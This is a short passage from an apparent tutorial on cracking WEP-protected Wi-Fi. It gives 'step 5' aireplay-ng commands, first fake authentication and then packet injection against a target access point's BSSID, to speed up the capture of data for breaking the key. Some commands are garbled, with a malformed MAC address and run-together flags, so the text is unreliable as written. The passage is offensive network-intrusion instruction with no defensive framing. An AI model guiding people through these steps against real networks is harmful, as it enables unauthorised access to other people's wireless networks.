In my case channel is 6 and has bssid as 00:26:75:06:CF;C6 and i am going to save the captured data  as “wep”.

Step 5:

In order to speed up the capturing rate open the new terminal and type:

aireplay-ng – 1 3 -a (bssid of the target ) (interface)

in my case:
aireplay-ng – 1 3 -a 00:26:75:06:CF;C6 mon0

now type the following command:

aireplay-ng-2-p 0841 -c ff:ff:ff:ff:ff:ff -b (bssid of target)  (interface)

and press “y” when asked to Use this Packet.
